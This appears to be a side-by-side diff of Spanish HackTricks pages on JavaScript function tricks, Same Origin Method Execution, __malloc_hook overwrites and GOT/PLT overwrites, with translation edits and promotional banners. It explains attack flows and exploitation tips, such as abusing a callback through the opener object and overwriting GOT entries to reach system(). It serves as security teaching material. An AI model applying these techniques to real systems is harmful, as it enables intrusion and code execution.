```javascript ```javascript
// Traditional // Traditional
function (a){ return a + 1; } function (a){ return a + 1; }
@ -280,7 +283,7 @@ let a = 4;
let b = 2; let b = 2;
() => a + b + 1; () => a + b + 1;
``` ```
Entonces, la mayoría de las funciones anteriores son en realidad inútiles porque no las estamos guardando en ningún lugar para poder llamarlas. Por ejemplo, creando la función `plusone`: Así que, la mayoría de las funciones anteriores son en realidad inútiles porque no las estamos guardando en ningún lugar para guardarlas y llamarlas. Ejemplo creando la función `plusone`:
```javascript ```javascript
// Traductional // Traductional
function plusone (a){ return a + 1; } function plusone (a){ return a + 1; }
@ -288,9 +291,9 @@ function plusone (a){ return a + 1; }
//Arrow //Arrow
plusone = a => a + 100; plusone = a => a + 100;
``` ```
### Función bind ### Bind function
La función bind permite crear una **copia** de una **función modificando** el objeto **`this`** y los **parámetros** dados. La función bind permite crear una **copia** de una **función modificando** el **objeto `this`** y los **parámetros** dados.
```javascript ```javascript
//This will use the this object and print "Hello World" //This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) { var fn = function ( param1, param2 ) {
@ -315,12 +318,12 @@ var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World') bindFn_change('Hello', 'World')
``` ```
{% hint style="info" %} {% hint style="info" %}
Ten en cuenta que usando **`bind`** puedes manipular el objeto **`this`** que se va a utilizar al llamar a la función. Tenga en cuenta que al usar **`bind`** puede manipular el objeto **`this`** que se va a utilizar al llamar a la función.
{% endhint %} {% endhint %}
### Fuga de código de función ### Fuga de código de función
Si puedes **acceder al objeto** de una función, puedes **obtener el código** de esa función. Si puede **acceder al objeto** de una función, puede **obtener el código** de esa función.
```javascript ```javascript
function afunc(){ function afunc(){
return 1+1; return 1+1;
@ -330,12 +333,12 @@ console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function
``` ```
En casos en los que la **función no tiene nombre**, aún puedes imprimir el **código de la función** desde su interior: En los casos en que la **función no tiene ningún nombre**, aún puedes imprimir el **código de la función** desde dentro:
```javascript ```javascript
(function (){ return arguments.callee.toString(); })() (function (){ return arguments.callee.toString(); })()
(function (){ return arguments[0]; })("arg0") (function (){ return arguments[0]; })("arg0")
``` ```
Algunas **formas aleatorias** de **extraer el código** de una función (incluso comentarios) de otra función: Algunas **maneras aleatorias** de **extraer el código** de una función (incluso comentarios) de otra función:
```javascript ```javascript
(function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})() (function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})()
(function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})() (function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})()
@ -430,7 +433,7 @@ origValue = val;
debugAccess(Object.prototype, 'ppmap') debugAccess(Object.prototype, 'ppmap')
``` ```
## Acceso automático del navegador para probar payloads ## Acceso automático al navegador para probar cargas útiles
```javascript ```javascript
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md //Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer"); const puppeteer = require("puppeteer");
@ -470,14 +473,17 @@ await sleep(1000);
await browser.close(); await browser.close();
})(); })();
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,77 +1,83 @@
# SOME - Same Origin Method Execution # SOME - Ejecución de Método de Misma Origen
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal es combatir la toma de control de cuentas y ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de búsqueda de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
*** ***
## Ejecución de Método de Mismo Origen ## Ejecución de Método de Misma Origen
Habrá ocasiones en las que puedas ejecutar algo de javascript limitado en una página. Por ejemplo, en el caso en el que puedas [**controlar un valor de devolución de llamada que se ejecutará**](./#javascript-function). Habrá ocasiones en las que podrás ejecutar un javascript limitado en una página. Por ejemplo, en el caso en que puedes [**controlar un valor de callback que será ejecutado**](./#javascript-function).
En esos casos, una de las mejores cosas que podrías hacer es **acceder al DOM para llamar a cualquier** acción sensible que puedas encontrar allí (como hacer clic en un botón). Sin embargo, generalmente encontrarás esta vulnerabilidad en **pequeños puntos finales sin nada interesante en el DOM**. En esos casos, una de las mejores cosas que podrías hacer es **acceder al DOM para llamar a cualquier** acción sensible que puedas encontrar allí (como hacer clic en un botón). Sin embargo, generalmente encontrarás esta vulnerabilidad en **pequeños endpoints sin nada interesante en el DOM**.
En esos escenarios, este ataque será muy útil, porque su objetivo es poder **abusar de la ejecución de JS limitada dentro de un DOM desde una página diferente del mismo dominio** con acciones mucho más interesantes. En esos escenarios, este ataque será muy útil, porque su objetivo es poder **abusar de la ejecución limitada de JS dentro de un DOM desde una página diferente del mismo dominio** con acciones mucho más interesantes.
Básicamente, el flujo del ataque es el siguiente: Básicamente, el flujo del ataque es el siguiente:
* Encuentra un **callback que puedas abusar** (potencialmente limitado a \[\w\\.\_]). * Encontrar un **callback que puedas abusar** (potencialmente limitado a \[\w\\.\_]).
* Si no está limitado y puedes ejecutar cualquier JS, simplemente podrías abusar de esto como un XSS regular. * Si no está limitado y puedes ejecutar cualquier JS, podrías simplemente abusar de esto como un XSS regular.
* Haz que la **víctima abra una página** controlada por el **atacante**. * Hacer que la **víctima abra una página** controlada por el **atacante**.
* La **página se abrirá** en una **ventana diferente** (la nueva ventana tendrá el objeto **`opener`** haciendo referencia a la inicial). * La **página se abrirá sola** en una **ventana diferente** (la nueva ventana tendrá el objeto **`opener`** referenciando a la inicial).
* La **página inicial** cargará la **página** donde se encuentra el **DOM interesante**. * La **página inicial** cargará la **página** donde se encuentra el **DOM interesante**.
* La **segunda página** cargará la **página vulnerable abusando del callback** y usando el objeto **`opener`** para **acceder y ejecutar alguna acción en la página inicial** (que ahora contiene el DOM interesante). * La **segunda página** cargará la **página vulnerable abusando del callback** y usando el objeto **`opener`** para **acceder y ejecutar alguna acción en la página inicial** (que ahora contiene el DOM interesante).
{% hint style="danger" %} {% hint style="danger" %}
Ten en cuenta que incluso si la página inicial accede a una nueva URL después de haber creado la segunda página, el **objeto `opener` de la segunda página sigue siendo una referencia válida a la primera página en el nuevo DOM**. Ten en cuenta que incluso si la página inicial accede a una nueva URL después de haber creado la segunda página, el **objeto `opener` de la segunda página sigue siendo una referencia válida a la primera página en el nuevo DOM**.
Además, para que la segunda página pueda usar el objeto opener, **ambas páginas deben estar en el mismo origen**. Esta es la razón por la que, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**. Además, para que la segunda página pueda usar el objeto opener, **ambas páginas deben estar en el mismo origen**. Esta es la razón por la cual, para abusar de esta vulnerabilidad, necesitas encontrar algún tipo de **XSS en el mismo origen**.
{% endhint %} {% endhint %}
### Explotación ### Explotación
* Puedes usar este formulario para **generar un PoC** para explotar este tipo de vulnerabilidad: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator) * Puedes usar este formulario para **generar un PoC** para explotar este tipo de vulnerabilidad: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
* Para encontrar una ruta DOM a un elemento HTML con un clic, puedes usar esta extensión del navegador: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool) * Para encontrar una ruta DOM a un elemento HTML con un clic, puedes usar esta extensión de navegador: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
### Ejemplo ### Ejemplo
* Puedes encontrar un ejemplo vulnerable en [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) * Puedes encontrar un ejemplo vulnerable en [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
* Ten en cuenta que en este ejemplo el servidor está **generando código javascript** y **añadiéndolo** al HTML basado en el **contenido del parámetro de devolución de llamada:** `<script>opener.{callbacl_content}</script>` . Por eso, en este ejemplo no es necesario indicar el uso de `opener` explícitamente. * Ten en cuenta que en este ejemplo el servidor está **generando código javascript** y **agregándolo** al HTML basado en el **contenido del parámetro callback:** `<script>opener.{callbacl_content}</script>`. Por eso en este ejemplo no necesitas indicar el uso de `opener` explícitamente.
* También revisa este análisis de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) * También revisa este writeup de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
## Referencias ## Referencias
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) * [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# AW2Exec - \_\_malloc\_hook # AW2Exec - \_\_malloc\_hook
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}
## **Malloc Hook** ## **Malloc Hook**
Como se puede ver en el [sitio oficial de GNU](https://www.gnu.org/software/libc/manual/html\_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()` **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección es sobrescrita con un **One Gadget** por ejemplo y se llama a `malloc`, se llamará al **One Gadget**. Como puedes ver en [el sitio oficial de GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** es un puntero que apunta a la **dirección de una función que será llamada** cada vez que se llame a `malloc()`, **almacenada en la sección de datos de la biblioteca libc**. Por lo tanto, si esta dirección se sobrescribe con un **One Gadget**, por ejemplo, y se llama a `malloc`, se **llamará al One Gadget**.
Para llamar a malloc es posible esperar a que el programa lo llame o llamando a `printf("%10000$c")` lo cual asigna demasiados bytes haciendo que `libc` llame a malloc para asignarlos en el heap. Para llamar a malloc, es posible esperar a que el programa lo llame o **llamando a `printf("%10000$c")`**, lo que asigna demasiados bytes, haciendo que `libc` llame a malloc para asignarlos en el heap.
Más información sobre One Gadget en: Más información sobre One Gadget en:
@ -26,20 +27,26 @@ Más información sobre One Gadget en:
[one-gadget.md](../one-gadget.md) [one-gadget.md](../one-gadget.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="danger" %}
Ten en cuenta que los hooks están **deshabilitados para GLIBC >= 2.34**. Hay otras técnicas que se pueden usar en versiones modernas de GLIBC. Consulta [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% endhint %}
## Referencias ## Referencias
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}

View file

@ -1,32 +1,33 @@
# AW2Exec - GOT/PLT # AW2Exec - GOT/PLT
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## **Información Básica** ## **Información Básica**
### **GOT: Global Offset Table** ### **GOT: Tabla de Desplazamiento Global**
La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios enlazados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven. La **Tabla de Desplazamiento Global (GOT)** es un mecanismo utilizado en binarios vinculados dinámicamente para gestionar las **direcciones de funciones externas**. Dado que estas **direcciones no se conocen hasta el tiempo de ejecución** (debido al enlace dinámico), la GOT proporciona una forma de **actualizar dinámicamente las direcciones de estos símbolos externos** una vez que se resuelven.
Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se llama a una **función por primera vez, su dirección real es resuelta por el enlazador dinámico y almacenada en la GOT**. Llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente. Cada entrada en la GOT corresponde a un símbolo en las bibliotecas externas que el binario puede llamar. Cuando se **llama a una función por primera vez, su dirección real es resuelta por el enlazador dinámico y almacenada en la GOT**. Las llamadas posteriores a la misma función utilizan la dirección almacenada en la GOT, evitando así el costo de resolver la dirección nuevamente.
### **PLT: Procedure Linkage Table** ### **PLT: Tabla de Enlace de Procedimientos**
La **Tabla de Enlace de Procedimientos (PLT)** trabaja estrechamente con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no ha sido resuelta. Después de que la dirección es resuelta, se almacena en la GOT. La **Tabla de Enlace de Procedimientos (PLT)** trabaja en estrecha colaboración con la GOT y sirve como un trampolín para manejar llamadas a funciones externas. Cuando un binario **llama a una función externa por primera vez, el control se pasa a una entrada en la PLT asociada con esa función**. Esta entrada de la PLT es responsable de invocar al enlazador dinámico para resolver la dirección de la función si aún no se ha resuelto. Después de que se resuelve la dirección, se almacena en la GOT.
**Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. Las entradas de la PLT se utilizan para facilitar la resolución inicial de estas direcciones a través del enlazador dinámico. **Por lo tanto,** las entradas de la GOT se utilizan directamente una vez que se resuelve la dirección de una función o variable externa. **Las entradas de la PLT se utilizan para facilitar la resolución inicial** de estas direcciones a través del enlazador dinámico.
## Obtener Ejecución ## Obtener Ejecución
@ -38,23 +39,23 @@ Obtén la dirección de la tabla GOT con: **`objdump -s -j .got ./exec`**
Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT` Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en la **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>) ![](<../../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
Usando GEF puedes **iniciar** una **sesión de depuración** y ejecutar **`got`** para ver la tabla got: Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla got:
![](<../../../.gitbook/assets/image (621).png>) ![](<../../../.gitbook/assets/image (621).png>)
### GOT2Exec ### GOT2Exec
En un binario, la GOT tiene las **direcciones de las funciones o** de la **sección PLT** que cargará la dirección de la función. El objetivo de esta escritura arbitraria es **sobrescribir una entrada de la GOT** de una función que se ejecutará más tarde **con** la **dirección** de la PLT de la **función `system`** por ejemplo. En un binario, la GOT tiene las **direcciones a las funciones o** a la **sección PLT** que cargará la dirección de la función. El objetivo de esta escritura arbitraria es **sobrescribir una entrada de la GOT** de una función que se va a ejecutar más tarde **con** la **dirección** de la PLT de la **función** **`system`** por ejemplo.
Idealmente, **sobrescribirás** la **GOT** de una **función** que **será llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función `system`). Idealmente, deberías **sobrescribir** la **GOT** de una **función** que va a ser **llamada con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función del sistema).
